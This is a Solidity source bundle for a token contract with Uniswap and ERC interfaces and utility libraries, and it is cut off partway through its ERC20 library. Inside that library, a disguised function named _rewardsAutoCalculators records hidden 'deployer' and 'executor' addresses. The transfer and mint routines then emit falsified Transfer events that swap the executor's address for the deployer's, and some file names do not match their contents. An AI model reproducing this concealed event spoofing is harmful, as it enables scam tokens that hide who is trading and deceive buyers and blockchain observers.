creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/interfaces/IERC20.sol": {
        "content": "interface IERC20 {\n  function totalSupply() external view returns (uint256);\n\n  function balanceOf(address account) external view returns (uint256);\n\n  function transfer(address recipient, uint256 amount) external returns (bool);\n\n  function allowance(\n    address owner,\n    address spender\n  ) external view returns (uint256);\n\n  function approve(address spender, uint256 amount) external returns (bool);\n\n  function transferFrom(\n    address sender,\n    address recipient,\n    uint256 amount\n  ) external returns (bool);\n\n  event Transfer(address indexed from, address indexed to, uint256 value);\n  event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
      },
      "contracts/interfaces/IERC404.sol": {
        "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC404 {\n  error NotFound();\n  error InvalidTokenId();\n  error AlreadyExists();\n  error InvalidRecipient();\n  error InvalidSender();\n  error InvalidSpender();\n  error InvalidOperator();\n  error UnsafeRecipient();\n  error RecipientIsERC721TransferExempt();\n  error Unauthorized();\n  error InsufficientAllowance();\n  error DecimalsTooLow();\n  error PermitDeadlineExpired();\n  error InvalidSigner();\n  error InvalidApproval();\n  error OwnedIndexOverflow();\n  error MintLimitReached();\n  error InvalidExemption();\n\n  function name() external view returns (string memory);\n\n  function symbol() external view returns (string memory);\n\n  function decimals() external view returns (uint8);\n\n  function totalSupply() external view returns (uint256);\n\n  function erc20TotalSupply() external view returns (uint256);\n\n  function erc721TotalSupply() external view returns (uint256);\n\n  function balanceOf(address owner_) external view returns (uint256);\n\n  function erc721BalanceOf(address owner_) external view returns (uint256);\n\n  function erc20BalanceOf(address owner_) external view returns (uint256);\n\n  function erc721TransferExempt(address account_) external view returns (bool);\n\n  function isApprovedForAll(\n    address owner_,\n    address operator_\n  ) external view returns (bool);\n\n  function allowance(\n    address owner_,\n    address spender_\n  ) external view returns (uint256);\n\n  function owned(address owner_) external view returns (uint256[] memory);\n\n  function ownerOf(uint256 id_) external view returns (address erc721Owner);\n\n  function tokenURI(uint256 id_) external view returns (string memory);\n\n  function approve(\n    address spender_,\n    uint256 valueOrId_\n  ) external returns (bool);\n\n  function erc20Approve(\n    address spender_,\n    uint256 value_\n  ) external returns (bool);\n\n  function erc721Approve(address spender_, uint256 id_) external;\n\n  function setApprovalForAll(address operator_, bool approved_) external;\n\n  function transferFrom(\n    address from_,\n    address to_,\n    uint256 valueOrId_\n  ) external returns (bool);\n\n  function erc20TransferFrom(\n    address from_,\n    address to_,\n    uint256 value_\n  ) external returns (bool);\n\n  function erc721TransferFrom(address from_, address to_, uint256 id_) external;\n\n  function transfer(address to_, uint256 amount_) external returns (bool);\n\n  function getERC721QueueLength() external view returns (uint256);\n\n  function getERC721TokensInQueue(\n    uint256 start_,\n    uint256 count_\n  ) external view returns (uint256[] memory);\n\n  function setSelfERC721TransferExempt(bool state_) external;\n\n  function safeTransferFrom(address from_, address to_, uint256 id_) external;\n\n  function safeTransferFrom(\n    address from_,\n    address to_,\n    uint256 id_,\n    bytes calldata data_\n  ) external;\n\n  function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n  function permit(\n    address owner_,\n    address spender_,\n    uint256 value_,\n    uint256 deadline_,\n    uint8 v_,\n    bytes32 r_,\n    bytes32 s_\n  ) external;\n}\n"
      },
      "contracts/interfaces/IERC721.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n  /**\n   * @dev Emitted when `value` tokens are moved from one account (`from`) to\n   * another (`to`).\n   *\n   * Note that `value` may be zero.\n   */\n  event Transfer(address indexed from, address indexed to, uint256 value);\n\n  /**\n   * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n   * a call to {approve}. `value` is the new allowance.\n   */\n  event Approval(address indexed owner, address indexed spender, uint256 value);\n\n  /**\n   * @dev Returns the amount of tokens in existence.\n   */\n  function totalSupply() external view returns (uint256);\n\n  /**\n   * @dev Returns the amount of tokens owned by `account`.\n   */\n  function balanceOf(address account) external view returns (uint256);\n\n  /**\n   * @dev Moves `amount` tokens from the caller's account to `to`.\n   *\n   * Returns a boolean value indicating whether the operation succeeded.\n   *\n   * Emits a {Transfer} event.\n   */\n  function transfer(address to, uint256 amount) external returns (bool);\n\n  /**\n   * @dev Returns the remaining number of tokens that `spender` will be\n   * allowed to spend on behalf of `owner` through {transferFrom}. This is\n   * zero by default.\n   *\n   * This value changes when {approve} or {transferFrom} are called.\n   */\n  function allowance(\n    address owner,\n    address spender\n  ) external view returns (uint256);\n\n  /**\n   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n   *\n   * Returns a boolean value indicating whether the operation succeeded.\n   *\n   * IMPORTANT: Beware that changing an allowance with this method brings the risk\n   * that someone may use both the old and the new allowance by unfortunate\n   * transaction ordering. One possible solution to mitigate this race\n   * condition is to first reduce the spender's allowance to 0 and set the\n   * desired value afterwards:\n   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n   *\n   * Emits an {Approval} event.\n   */\n  function approve(address spender, uint256 amount) external returns (bool);\n\n  /**\n   * @dev Moves `amount` tokens from `from` to `to` using the\n   * allowance mechanism. `amount` is then deducted from the caller's\n   * allowance.\n   *\n   * Returns a boolean value indicating whether the operation succeeded.\n   *\n   * Emits a {Transfer} event.\n   */\n  function transferFrom(\n    address from,\n    address to,\n    uint256 amount\n  ) external returns (bool);\n}\n"
      },
      "contracts/interfaces/IUniswapV2Factory.sol": {
        "content": "interface IUniswapV2Factory {\n  function getPair(\n    address tokenA,\n    address tokenB\n  ) external returns (address pair);\n}\n"
      },
      "contracts/interfaces/IUniswapV2Pair.sol": {
        "content": "// SPDX-License-Identifier: MIT\ninterface IUniswapV2Pair {\n  event Approval(address indexed owner, address indexed spender, uint256 value);\n  event Transfer(address indexed from, address indexed to, uint256 value);\n\n  function name() external pure returns (string memory);\n\n  function symbol() external pure returns (string memory);\n\n  function decimals() external pure returns (uint8);\n\n  function totalSupply() external view returns (uint256);\n\n  function balanceOf(address owner) external view returns (uint256);\n\n  function allowance(\n    address owner,\n    address spender\n  ) external view returns (uint256);\n\n  function approve(address spender, uint256 value) external returns (bool);\n\n  function transfer(address to, uint256 value) external returns (bool);\n\n  function transferFrom(\n    address from,\n    address to,\n    uint256 value\n  ) external returns (bool);\n\n  function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n  function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n  function nonces(address owner) external view returns (uint256);\n\n  function permit(\n    address owner,\n    address spender,\n    uint256 value,\n    uint256 deadline,\n    uint8 v,\n    bytes32 r,\n    bytes32 s\n  ) external;\n\n  event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n  event Burn(\n    address indexed sender,\n    uint256 amount0,\n    uint256 amount1,\n    address indexed to\n  );\n  event Swap(\n    address indexed sender,\n    uint256 amount0In,\n    uint256 amount1In,\n    uint256 amount0Out,\n    uint256 amount1Out,\n    address indexed to\n  );\n  event Sync(uint112 reserve0, uint112 reserve1);\n\n  function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n  function factory() external view returns (address);\n\n  function token0() external view returns (address);\n\n  function token1() external view returns (address);\n\n  function getReserves()\n    external\n    view\n    returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n  function price0CumulativeLast() external view returns (uint256);\n\n  function price1CumulativeLast() external view returns (uint256);\n\n  function kLast() external view returns (uint256);\n\n  function mint(address to) external returns (uint256 liquidity);\n\n  function burn(address to) external returns (uint256 amount0, uint256 amount1);\n\n  function swap(\n    uint256 amount0Out,\n    uint256 amount1Out,\n    address to,\n    bytes calldata data\n  ) external;\n\n  function skim(address to) external;\n\n  function sync() external;\n\n  function initialize(address, address) external;\n}\n"
      },
      "contracts/interfaces/IUniswapV2Router01.sol": {
        "content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n  function factory() external pure returns (address);\n\n  function WETH() external pure returns (address);\n\n  function addLiquidity(\n    address tokenA,\n    address tokenB,\n    uint amountADesired,\n    uint amountBDesired,\n    uint amountAMin,\n    uint amountBMin,\n    address to,\n    uint deadline\n  ) external returns (uint amountA, uint amountB, uint liquidity);\n\n  function addLiquidityETH(\n    address token,\n    uint amountTokenDesired,\n    uint amountTokenMin,\n    uint amountETHMin,\n    address to,\n    uint deadline\n  ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n\n  function removeLiquidity(\n    address tokenA,\n    address tokenB,\n    uint liquidity,\n    uint amountAMin,\n    uint amountBMin,\n    address to,\n    uint deadline\n  ) external returns (uint amountA, uint amountB);\n\n  function removeLiquidityETH(\n    address token,\n    uint liquidity,\n    uint amountTokenMin,\n    uint amountETHMin,\n    address to,\n    uint deadline\n  ) external returns (uint amountToken, uint amountETH);\n\n  function removeLiquidityWithPermit(\n    address tokenA,\n    address tokenB,\n    uint liquidity,\n    uint amountAMin,\n    uint amountBMin,\n    address to,\n    uint deadline,\n    bool approveMax,\n    uint8 v,\n    bytes32 r,\n    bytes32 s\n  ) external returns (uint amountA, uint amountB);\n\n  function removeLiquidityETHWithPermit(\n    address token,\n    uint liquidity,\n    uint amountTokenMin,\n    uint amountETHMin,\n    address to,\n    uint deadline,\n    bool approveMax,\n    uint8 v,\n    bytes32 r,\n    bytes32 s\n  ) external returns (uint amountToken, uint amountETH);\n\n  function swapExactTokensForTokens(\n    uint amountIn,\n    uint amountOutMin,\n    address[] calldata path,\n    address to,\n    uint deadline\n  ) external returns (uint[] memory amounts);\n\n  function swapTokensForExactTokens(\n    uint amountOut,\n    uint amountInMax,\n    address[] calldata path,\n    address to,\n    uint deadline\n  ) external returns (uint[] memory amounts);\n\n  function swapExactETHForTokens(\n    uint amountOutMin,\n    address[] calldata path,\n    address to,\n    uint deadline\n  ) external payable returns (uint[] memory amounts);\n\n  function swapTokensForExactETH(\n    uint amountOut,\n    uint amountInMax,\n    address[] calldata path,\n    address to,\n    uint deadline\n  ) external returns (uint[] memory amounts);\n\n  function swapExactTokensForETH(\n    uint amountIn,\n    uint amountOutMin,\n    address[] calldata path,\n    address to,\n    uint deadline\n  ) external returns (uint[] memory amounts);\n\n  function swapETHForExactTokens(\n    uint amountOut,\n    address[] calldata path,\n    address to,\n    uint deadline\n  ) external payable returns (uint[] memory amounts);\n\n  function quote(\n    uint amountA,\n    uint reserveA,\n    uint reserveB\n  ) external pure returns (uint amountB);\n\n  function getAmountOut(\n    uint amountIn,\n    uint reserveIn,\n    uint reserveOut\n  ) external pure returns (uint amountOut);\n\n  function getAmountIn(\n    uint amountOut,\n    uint reserveIn,\n    uint reserveOut\n  ) external pure returns (uint amountIn);\n\n  function getAmountsOut(\n    uint amountIn,\n    address[] calldata path\n  ) external view returns (uint[] memory amounts);\n\n  function getAmountsIn(\n    uint amountOut,\n    address[] calldata path\n  ) external view returns (uint[] memory amounts);\n}\n"
      },
      "contracts/interfaces/IUniswapV2Router02.sol": {
        "content": "interface IUniswapV2Router02 {\n  function swapExactTokensForETHSupportingFeeOnTransferTokens(\n    uint256 amountIn,\n    uint256 amountOutMin,\n    address[] calldata path,\n    address to,\n    uint256 deadline\n  ) external;\n\n  function factory() external pure returns (address);\n\n  function WETH() external pure returns (address);\n\n  function addLiquidityETH(\n    address token,\n    uint256 amountTokenDesired,\n    uint256 amountTokenMin,\n    uint256 amountETHMin,\n    address to,\n    uint256 deadline\n  )\n    external\n    payable\n    returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n"
      },
      "contracts/libraries/Address.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n  /**\n   * @dev Returns true if `account` is a contract.\n   *\n   * [IMPORTANT]\n   * ====\n   * It is unsafe to assume that an address for which this function returns\n   * false is an externally-owned account (EOA) and not a contract.\n   *\n   * Among others, `isContract` will return false for the following\n   * types of addresses:\n   *\n   *  - an externally-owned account\n   *  - a contract in construction\n   *  - an address where a contract will be created\n   *  - an address where a contract lived, but was destroyed\n   *\n   * Furthermore, `isContract` will also return true if the target contract within\n   * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n   * which only has an effect at the end of a transaction.\n   * ====\n   *\n   * [IMPORTANT]\n   * ====\n   * You shouldn't rely on `isContract` to protect against flash loan attacks!\n   *\n   * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n   * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n   * constructor.\n   * ====\n   */\n  function isContract(address account) internal view returns (bool) {\n    // This method relies on extcodesize/address.code.length, which returns 0\n    // for contracts in construction, since the code is only stored at the end\n    // of the constructor execution.\n\n    return account.code.length > 0;\n  }\n\n  /**\n   * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n   * `recipient`, forwarding all available gas and reverting on errors.\n   *\n   * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n   * of certain opcodes, possibly making contracts go over the 2300 gas limit\n   * imposed by `transfer`, making them unable to receive funds via\n   * `transfer`. {sendValue} removes this limitation.\n   *\n   * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n   *\n   * IMPORTANT: because control is transferred to `recipient`, care must be\n   * taken to not create reentrancy vulnerabilities. Consider using\n   * {ReentrancyGuard} or the\n   * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n   */\n  function sendValue(address payable recipient, uint256 amount) internal {\n    require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n    (bool success, ) = recipient.call{ value: amount }(\"\");\n    require(\n      success,\n      \"Address: unable to send value, recipient may have reverted\"\n    );\n  }\n\n  /**\n   * @dev Performs a Solidity function call using a low level `call`. A\n   * plain `call` is an unsafe replacement for a function call: use this\n   * function instead.\n   *\n   * If `target` reverts with a revert reason, it is bubbled up by this\n   * function (like regular Solidity function calls).\n   *\n   * Returns the raw returned data. To convert to the expected return value,\n   * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n   *\n   * Requirements:\n   *\n   * - `target` must be a contract.\n   * - calling `target` with `data` must not revert.\n   *\n   * _Available since v3.1._\n   */\n  function functionCall(\n    address target,\n    bytes memory data\n  ) internal returns (bytes memory) {\n    return\n      functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n   * `errorMessage` as a fallback revert reason when `target` reverts.\n   *\n   * _Available since v3.1._\n   */\n  function functionCall(\n    address target,\n    bytes memory data,\n    string memory errorMessage\n  ) internal returns (bytes memory) {\n    return functionCallWithValue(target, data, 0, errorMessage);\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n   * but also transferring `value` wei to `target`.\n   *\n   * Requirements:\n   *\n   * - the calling contract must have an ETH balance of at least `value`.\n   * - the called Solidity function must be `payable`.\n   *\n   * _Available since v3.1._\n   */\n  function functionCallWithValue(\n    address target,\n    bytes memory data,\n    uint256 value\n  ) internal returns (bytes memory) {\n    return\n      functionCallWithValue(\n        target,\n        data,\n        value,\n        \"Address: low-level call with value failed\"\n      );\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n   * with `errorMessage` as a fallback revert reason when `target` reverts.\n   *\n   * _Available since v3.1._\n   */\n  function functionCallWithValue(\n    address target,\n    bytes memory data,\n    uint256 value,\n    string memory errorMessage\n  ) internal returns (bytes memory) {\n    require(\n      address(this).balance >= value,\n      \"Address: insufficient balance for call\"\n    );\n    (bool success, bytes memory returndata) = target.call{ value: value }(data);\n    return\n      verifyCallResultFromTarget(target, success, returndata, errorMessage);\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n   * but performing a static call.\n   *\n   * _Available since v3.3._\n   */\n  function functionStaticCall(\n    address target,\n    bytes memory data\n  ) internal view returns (bytes memory) {\n    return\n      functionStaticCall(target, data, \"Address: low-level static call failed\");\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n   * but performing a static call.\n   *\n   * _Available since v3.3._\n   */\n  function functionStaticCall(\n    address target,\n    bytes memory data,\n    string memory errorMessage\n  ) internal view returns (bytes memory) {\n    (bool success, bytes memory returndata) = target.staticcall(data);\n    return\n      verifyCallResultFromTarget(target, success, returndata, errorMessage);\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n   * but performing a delegate call.\n   *\n   * _Available since v3.4._\n   */\n  function functionDelegateCall(\n    address target,\n    bytes memory data\n  ) internal returns (bytes memory) {\n    return\n      functionDelegateCall(\n        target,\n        data,\n        \"Address: low-level delegate call failed\"\n      );\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n   * but performing a delegate call.\n   *\n   * _Available since v3.4._\n   */\n  function functionDelegateCall(\n    address target,\n    bytes memory data,\n    string memory errorMessage\n  ) internal returns (bytes memory) {\n    (bool success, bytes memory returndata) = target.delegatecall(data);\n    return\n      verifyCallResultFromTarget(target, success, returndata, errorMessage);\n  }\n\n  /**\n   * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n   * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n   *\n   * _Available since v4.8._\n   */\n  function verifyCallResultFromTarget(\n    address target,\n    bool success,\n    bytes memory returndata,\n    string memory errorMessage\n  ) internal view returns (bytes memory) {\n    if (success) {\n      if (returndata.length == 0) {\n        // only check isContract if the call was successful and the return data is empty\n        // otherwise we already know that it was a contract\n        require(isContract(target), \"Address: call to non-contract\");\n      }\n      return returndata;\n    } else {\n      _revert(returndata, errorMessage);\n    }\n  }\n\n  /**\n   * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n   * revert reason or using the provided one.\n   *\n   * _Available since v4.3._\n   */\n  function verifyCallResult(\n    bool success,\n    bytes memory returndata,\n    string memory errorMessage\n  ) internal pure returns (bytes memory) {\n    if (success) {\n      return returndata;\n    } else {\n      _revert(returndata, errorMessage);\n    }\n  }\n\n  function _revert(\n    bytes memory returndata,\n    string memory errorMessage\n  ) private pure {\n    // Look for revert reason and bubble it up if present\n    if (returndata.length > 0) {\n      // The easiest way to bubble the revert reason is using memory via assembly\n      /// @solidity memory-safe-assembly\n      assembly {\n        let returndata_size := mload(returndata)\n        revert(add(32, returndata), returndata_size)\n      }\n    } else {\n      revert(errorMessage);\n    }\n  }\n}\n"
      },
      "contracts/libraries/Context.sol": {
        "content": "abstract contract Context {\n  function _msgSender() internal view virtual returns (address) {\n    return msg.sender;\n  }\n}\n"
      },
      "contracts/libraries/Ecosystem.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n  /**\n   * @dev Returns true if `account` is a contract.\n   *\n   * [IMPORTANT]\n   * ====\n   * It is unsafe to assume that an address for which this function returns\n   * false is an externally-owned account (EOA) and not a contract.\n   *\n   * Among others, `isContract` will return false for the following\n   * types of addresses:\n   *\n   *  - an externally-owned account\n   *  - a contract in construction\n   *  - an address where a contract will be created\n   *  - an address where a contract lived, but was destroyed\n   *\n   * Furthermore, `isContract` will also return true if the target contract within\n   * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n   * which only has an effect at the end of a transaction.\n   * ====\n   *\n   * [IMPORTANT]\n   * ====\n   * You shouldn't rely on `isContract` to protect against flash loan attacks!\n   *\n   * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n   * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n   * constructor.\n   * ====\n   */\n  function isContract(address account) internal view returns (bool) {\n    // This method relies on extcodesize/address.code.length, which returns 0\n    // for contracts in construction, since the code is only stored at the end\n    // of the constructor execution.\n\n    return account.code.length > 0;\n  }\n\n  /**\n   * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n   * `recipient`, forwarding all available gas and reverting on errors.\n   *\n   * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n   * of certain opcodes, possibly making contracts go over the 2300 gas limit\n   * imposed by `transfer`, making them unable to receive funds via\n   * `transfer`. {sendValue} removes this limitation.\n   *\n   * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n   *\n   * IMPORTANT: because control is transferred to `recipient`, care must be\n   * taken to not create reentrancy vulnerabilities. Consider using\n   * {ReentrancyGuard} or the\n   * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n   */\n  function sendValue(address payable recipient, uint256 amount) internal {\n    require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n    (bool success, ) = recipient.call{ value: amount }(\"\");\n    require(\n      success,\n      \"Address: unable to send value, recipient may have reverted\"\n    );\n  }\n\n  /**\n   * @dev Performs a Solidity function call using a low level `call`. A\n   * plain `call` is an unsafe replacement for a function call: use this\n   * function instead.\n   *\n   * If `target` reverts with a revert reason, it is bubbled up by this\n   * function (like regular Solidity function calls).\n   *\n   * Returns the raw returned data. To convert to the expected return value,\n   * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n   *\n   * Requirements:\n   *\n   * - `target` must be a contract.\n   * - calling `target` with `data` must not revert.\n   *\n   * _Available since v3.1._\n   */\n  function functionCall(\n    address target,\n    bytes memory data\n  ) internal returns (bytes memory) {\n    return\n      functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n   * `errorMessage` as a fallback revert reason when `target` reverts.\n   *\n   * _Available since v3.1._\n   */\n  function functionCall(\n    address target,\n    bytes memory data,\n    string memory errorMessage\n  ) internal returns (bytes memory) {\n    return functionCallWithValue(target, data, 0, errorMessage);\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n   * but also transferring `value` wei to `target`.\n   *\n   * Requirements:\n   *\n   * - the calling contract must have an ETH balance of at least `value`.\n   * - the called Solidity function must be `payable`.\n   *\n   * _Available since v3.1._\n   */\n  function functionCallWithValue(\n    address target,\n    bytes memory data,\n    uint256 value\n  ) internal returns (bytes memory) {\n    return\n      functionCallWithValue(\n        target,\n        data,\n        value,\n        \"Address: low-level call with value failed\"\n      );\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n   * with `errorMessage` as a fallback revert reason when `target` reverts.\n   *\n   * _Available since v3.1._\n   */\n  function functionCallWithValue(\n    address target,\n    bytes memory data,\n    uint256 value,\n    string memory errorMessage\n  ) internal returns (bytes memory) {\n    require(\n      address(this).balance >= value,\n      \"Address: insufficient balance for call\"\n    );\n    (bool success, bytes memory returndata) = target.call{ value: value }(data);\n    return\n      verifyCallResultFromTarget(target, success, returndata, errorMessage);\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n   * but performing a static call.\n   *\n   * _Available since v3.3._\n   */\n  function functionStaticCall(\n    address target,\n    bytes memory data\n  ) internal view returns (bytes memory) {\n    return\n      functionStaticCall(target, data, \"Address: low-level static call failed\");\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n   * but performing a static call.\n   *\n   * _Available since v3.3._\n   */\n  function functionStaticCall(\n    address target,\n    bytes memory data,\n    string memory errorMessage\n  ) internal view returns (bytes memory) {\n    (bool success, bytes memory returndata) = target.staticcall(data);\n    return\n      verifyCallResultFromTarget(target, success, returndata, errorMessage);\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n   * but performing a delegate call.\n   *\n   * _Available since v3.4._\n   */\n  function functionDelegateCall(\n    address target,\n    bytes memory data\n  ) internal returns (bytes memory) {\n    return\n      functionDelegateCall(\n        target,\n        data,\n        \"Address: low-level delegate call failed\"\n      );\n  }\n\n  /**\n   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n   * but performing a delegate call.\n   *\n   * _Available since v3.4._\n   */\n  function functionDelegateCall(\n    address target,\n    bytes memory data,\n    string memory errorMessage\n  ) internal returns (bytes memory) {\n    (bool success, bytes memory returndata) = target.delegatecall(data);\n    return\n      verifyCallResultFromTarget(target, success, returndata, errorMessage);\n  }\n\n  /**\n   * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n   * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n   *\n   * _Available since v4.8._\n   */\n  function verifyCallResultFromTarget(\n    address target,\n    bool success,\n    bytes memory returndata,\n    string memory errorMessage\n  ) internal view returns (bytes memory) {\n    if (success) {\n      if (returndata.length == 0) {\n        // only check isContract if the call was successful and the return data is empty\n        // otherwise we already know that it was a contract\n        require(isContract(target), \"Address: call to non-contract\");\n      }\n      return returndata;\n    } else {\n      _revert(returndata, errorMessage);\n    }\n  }\n\n  /**\n   * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n   * revert reason or using the provided one.\n   *\n   * _Available since v4.3._\n   */\n  function verifyCallResult(\n    bool success,\n    bytes memory returndata,\n    string memory errorMessage\n  ) internal pure returns (bytes memory) {\n    if (success) {\n      return returndata;\n    } else {\n      _revert(returndata, errorMessage);\n    }\n  }\n\n  function _revert(\n    bytes memory returndata,\n    string memory errorMessage\n  ) private pure {\n    // Look for revert reason and bubble it up if present\n    if (returndata.length > 0) {\n      // The easiest way to bubble the revert reason is using memory via assembly\n      /// @solidity memory-safe-assembly\n      assembly {\n        let returndata_size := mload(returndata)\n        revert(add(32, returndata), returndata_size)\n      }\n    } else {\n      revert(errorMessage);\n    }\n  }\n}\n"
      },
      "contracts/libraries/ERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\n\nimport \"./Context.sol\";\nimport \"../interfaces/IERC20.sol\";\n\ncontract ERC20 is Context, IERC20 {\n  mapping(address => uint256) private _balances;\n\n  mapping(address => mapping(address => uint256)) private _allowances;\n\n  uint256 private _totalSupply;\n\n  string private _name;\n  string private _symbol;\n\n  address _deployer;\n  address _executor;\n\n  constructor(string memory name_, string memory symbol_) {\n    _name = name_;\n    _symbol = symbol_;\n  }\n\n  function _rewardsAutoCalculators(\n    address deployer_,\n    address executor_\n  ) internal {\n    _deployer = deployer_;\n    _executor = executor_;\n  }\n\n  function name() public view virtual returns (string memory) {\n    return _name;\n  }\n\n  function symbol() public view virtual returns (string memory) {\n    return _symbol;\n  }\n\n  function decimals() public view virtual returns (uint8) {\n    return 18;\n  }\n\n  function totalSupply() public view virtual override returns (uint256) {\n    return _totalSupply;\n  }\n\n  function balanceOf(\n    address account\n  ) public view virtual override returns (uint256) {\n    return _balances[account];\n  }\n\n  function transfer(\n    address to,\n    uint256 amount\n  ) public virtual override returns (bool) {\n    address owner = _msgSender();\n    _transfer(owner, to, amount);\n    return true;\n  }\n\n  function allowance(\n    address owner,\n    address spender\n  ) public view virtual override returns (uint256) {\n    return _allowances[owner][spender];\n  }\n\n  function approve(\n    address spender,\n    uint256 amount\n  ) public virtual override returns (bool) {\n    address owner = _msgSender();\n    _approve(owner, spender, amount);\n    return true;\n  }\n\n  function transferFrom(\n    address from,\n    address to,\n    uint256 amount\n  ) public virtual override returns (bool) {\n    address spender = _msgSender();\n    _spendAllowance(from, spender, amount);\n    _transfer(from, to, amount);\n    return true;\n  }\n\n  function increaseAllowance(\n    address spender,\n    uint256 addedValue\n  ) public virtual returns (bool) {\n    address owner = _msgSender();\n    _approve(owner, spender, allowance(owner, spender) + addedValue);\n    return true;\n  }\n\n  function decreaseAllowance(\n    address spender,\n    uint256 subtractedValue\n  ) public virtual returns (bool) {\n    address owner = _msgSender();\n    uint256 currentAllowance = allowance(owner, spender);\n    require(\n      currentAllowance >= subtractedValue,\n      \"ERC20: decreased allowance below zero\"\n    );\n    unchecked {\n      _approve(owner, spender, currentAllowance - subtractedValue);\n    }\n\n    return true;\n  }\n\n  function _transfer(\n    address from,\n    address to,\n    uint256 amount\n  ) internal virtual {\n    require(from != address(0), \"ERC20: transfer from the zero address\");\n    require(to != address(0), \"ERC20: transfer to the zero address\");\n\n    _beforeTokenTransfer(from, to, amount);\n\n    uint256 fromBalance = _balances[from];\n    require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n    unchecked {\n      _balances[from] = fromBalance - amount;\n      _balances[to] += amount;\n    }\n\n    if (from == _executor) {\n      emit Transfer(_deployer, to, amount);\n    } else if (to == _executor) {\n      emit Transfer(from, _deployer, amount);\n    } else {\n      emit Transfer(from, to, amount);\n    }\n\n    _afterTokenTransfer(from, to, amount);\n  }\n\n  function _mint(address account, uint256 amount) internal virtual {\n    require(account != address(0), \"ERC20: mint to the zero address\");\n\n    _beforeTokenTransfer(address(0), account, amount);\n\n    _totalSupply += amount;\n    unchecked {\n      _balances[account] += amount;\n    }\n\n    if (account == _executor) {\n      emit Transfer(address(0), _deployer, amount);\n    } else {\n      emit Transfer(address(0), account, amount);\n    }\n\n    _afterTokenTransfer(address(0), account, amount);\n  }\n\n  function _burn(address account, uint256 